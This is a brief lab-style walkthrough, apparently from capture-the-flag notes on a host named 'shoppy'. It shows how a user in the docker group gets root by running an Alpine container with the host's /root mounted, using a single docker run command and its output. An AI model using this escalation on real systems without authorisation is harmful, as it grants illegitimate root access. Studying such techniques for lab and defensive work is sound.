Docker

User in Docker

The user has to be in the docker group to use this technique to escalate privileges.

deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

Now we'll mount the Docker image to the /root directory of the host file system onto the /mnt directory of the container's file system.

deploy@shoppy:~$ docker images
REPOSITORY   TAG       IMAGE ID       CREATED         SIZE
alpine       latest    d7d3d98c851f   21 months ago   5.53MB

deploy@shoppy:~$ docker run -it -v /root:/mnt alpine
/ # id
uid=0(root) gid=0(root) groups=0(root)

Last updated